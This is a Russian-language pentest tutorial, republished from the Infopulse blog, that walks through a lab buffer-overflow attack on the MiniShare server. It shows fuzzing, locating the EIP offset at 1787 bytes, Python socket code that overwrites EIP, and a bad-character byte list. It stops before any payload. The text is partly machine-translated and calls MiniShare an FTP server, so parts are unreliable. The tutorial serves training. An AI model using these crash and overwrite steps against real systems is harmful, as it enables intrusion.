Первоначально опубликовано в блоге Infopulse.

О Buffer Overflow уже написано очень много: обширные гайды, мастер-классы и инструкции, что и как делать. Представляем вашему вниманию нашу первую статью из цикла Обучение и практика пентестеров, в которой мы сосредоточимся на некоторых особенностях искусства пентестинга и частых ошибках.
Данной статьей Инфопульс продолжает серию статей о тестировании на проникновение, уделяя внимание как техническим, теоретическим, так и практическим аспектам, а также охватывая уязвимости, инструменты, методы, методологии и многое другое (включая разработку скриптов и автоматизацию процессов).

Подготовка нашей тестовой лаборатории

Мы будем использовать виртуальную рабочую станцию ​​на Windows 7 в качестве среды для взлома и инструмент Immunity Debugger. Чтобы проиллюстрировать, что происходит в памяти приложения, мы будем использовать FTP-сервер MiniShare с его печально известной уязвимостью удаленного переполнения буфера. Вы можете использовать любое другое приложение с такой же уязвимостью (например, много можно найти на exploit-db). Принципы поиска и эксплуатации уязвимостей одинаковы для всех, с различиями в протоколах и принятых свойствах.

Выделим несколько этапов и подробно остановимся на каждом из них:

1. Фаззинг приложений.

Фаззинг означает предоставление приложению неверных входных данных.
Сначала запустите MiniShare и добавьте Attach в отладчик.

Напишите короткий скрипт «HTTP GET Request» для отправки данных в буфер MiniShare, где:

buffer="GET " – a method which varies from application to application. This can be a “PASS” password request, as well as other parameters and/or methods.   
buffer+="A"*2000 –  the number of bytes (in this very case, this is 2,000 «А» characters)
buffer+=" HTTP/1.1\r\n\r\n" – protocol

Пример скрипта приведен ниже:

После запуска скрипта видим, что приложение перестало работать:

Первый этап завершен. Теперь разберемся, что произошло и почему.

2. Регистры.

EIP указывает на следующую команду. Он всегда имеет значение следующей команды в последовательности команд, но мы перезаписали значение EIP.

Теперь нужно выяснить, где происходит перезапись регистра EIP и что именно записывается. Чтобы решить эту проблему, давайте создадим шаблон шаблона уникальных символов, чтобы увидеть сдвиг, то есть с какого символа начинается перезапись.

Существует несколько способов создания шаблонов. Мы использовали скрипт pattern_create.rb.

Теперь у нас есть 2000 уникальных символов, и мы можем определить место, откуда перезаписывается регистр EIP.

Давайте отправим шаблон вместо символов «А».

Затем снова запускаем приложение MiniShare. Запускаем наш скрипт в отладчике и видим своих персонажей. Значение EIP перезаписывается символами 36684335 (наоборот, 35 43 68 36 в ASCII будет 5Ch6 4 байта в нашем шаблоне).

Давайте подсчитаем количество символов, чтобы увидеть, с какого из них начинается перезапись EIP.

После 1787 символов в EIP перезаписываются 4 байта 5Ch6 (регистр ESP начинается с символа #1791). На самом деле регистр ESP имеет указатель на вершину стека.

Проверим, все ли мы сделали правильно.

EIP должен быть перезаписан как 42424242 HEX, представленный как ВВВВ, а ESP должен получить символы ССССССССССССС.

Перепишем наш скрипт:

buff="GET "
buff+="A"*1787
buff+="BBBB"
buff+="CCCCCCCCCCCCCCCCCCC"
buff+=" HTTP/1.1\r\n\r\n"
s.send(buff)
s.close()

Затем запустите приложение в отладчике и запустите скрипт.

Сделанный! Регистры перезаписываются.

3. Плохие персонажи.

Следующий этап включает в себя определение «плохих символов», то есть символов, которые интерпретируются приложением как конец операции (например, нулевой байт; в HEX это «\x00» и возврат каретки «\x0a» «\x0d» ). Это символы, после которых программа не будет читать остаток буфера.

Вы можете найти список плохих персонажей ниже:

"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Отредактируем существующий скрипт или напишем новый. Ничего, что идет после "BBBB", не должно содержать недопустимых символов. В противном случае операция закончится.

Давайте изменим значение buff+="CCCCCCCCCCCCCCCCCCCC" на плохие символы.

buff+="\х00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10………. "

Затем нам нужно запустить приложение в отладчике и запустить скрипт. Вот что мы получаем: первый символ «\x00» оказался плохим. Буфер пуст после него.

Удалим его из скрипта и запустим снова:

buff+=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10 "

Как мы видим, последний символ — “\0С”; после него в буфере ничего нет. Нам нужно удалить "\x0d" из скрипта, а затем снова и снова запускать процесс, пока мы не удалим все плохие символы.

Отлично!
Как видно из скриншота, все символы находятся в буфере. У нас было только два плохих символа: "\00" и "\0d".

Продолжить чтение этой записи в блоге Infopulse, где она была изначально опубликована.